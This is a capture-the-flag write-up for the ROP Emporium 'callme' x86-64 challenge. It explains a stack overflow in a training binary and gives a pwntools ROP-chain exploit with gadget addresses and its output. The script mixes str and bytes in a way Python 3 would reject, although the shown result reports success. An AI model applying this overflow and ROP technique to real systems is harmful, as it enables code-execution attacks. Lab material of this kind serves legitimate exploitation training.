#rop # callme x86-64 ## Triage ![](https://i.imgur.com/CwKAQRH.png) Chain calls to multiple imported methods with specific arguments and see how the differences between 64 & 32 bit calling conventions affect your ROP chain. ### Disassembly main function calls vulnerable call pwnme ![](https://i.imgur.com/HH5WMhV.png) pwnme function ![](https://i.imgur.com/svVs11r.png) ## Vulnerability In the pwnme function, 0x200 bytes are read into the user_input buff but the user_input buff is on the stack -0x28 (-40) bytes off from the return address. If we supply 40 bytes, the next 4 bytes will overflow PART of the return address. Because this is a 64bit binary to overwrite all 8 bytes we need to send 8 bytes instead of 4. Confirming the vulnerability: ```bash python3 -c 'print("A"*40+"BBBB",end="")' | strace ./callme ``` ```bash --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} --- +++ killed by SIGSEGV (core dumped) +++ [1] 3265988 done python3 -c 'print("A"*40+"BBBB",end="")' | 3265989 segmentation fault (core dumped) strace ./callme ``` ## Exploit Description says: `To dispose of the need for any RE I'll tell you the following: You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)` In x86-64 the way to pass function parameters is through registers. `RDI,RSI,RDX,RCX...` We need gadgets that will pop our values off the stack into the correct register. We can find these gadgets with `ROPgadget` tool. `pop_rdi = p64(0x00000000004009a3)# : pop rdi ; ret` `pop_rsi_rdx = p64(0x000000000040093d)# : pop rsi ; pop rdx ; ret` ### Script ```python from pwn import * context.binary = elf = ELF("./callme") pop_rdi = p64(0x00000000004009a3)# : pop rdi ; ret pop_rsi_rdx = p64(0x000000000040093d)# : pop rsi ; pop rdx ; ret payload = "A"*40 payload += pop_rdi payload += p64(0xdeadbeefdeadbeef) # arg1 payload += pop_rsi_rdx payload += p64(0xcafebabecafebabe) # arg2 payload += p64(0xd00df00dd00df00d) # arg3 payload += p64(elf.sym['callme_one']) payload += pop_rdi payload += p64(0xdeadbeefdeadbeef) # arg1 payload += pop_rsi_rdx payload += p64(0xcafebabecafebabe) # arg2 payload += p64(0xd00df00dd00df00d) # arg3 payload += p64(elf.sym['callme_two']) payload += pop_rdi payload += p64(0xdeadbeefdeadbeef) # arg1 payload += pop_rsi_rdx payload += p64(0xcafebabecafebabe) # arg2 payload += p64(0xd00df00dd00df00d) # arg3 payload += p64(elf.sym['callme_three']) io = process("./callme") io.sendline(payload) io.interactive() ``` ### Result ```bash [*] '/home/chris/ctfs/ropemporium/callme/x64/callme' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: '.' [+] Starting local process './callme': pid 3266850 [*] Switching to interactive mode [*] Process './callme' stopped with exit code 0 (pid 3266850) callme by ROP Emporium x86_64 Hope you read the instructions... > Thank you! callme_one() called correctly callme_two() called correctly ROPE{a_placeholder_32byte_flag!} [*] Got EOF while reading in interactive $ [*] Interrupted ```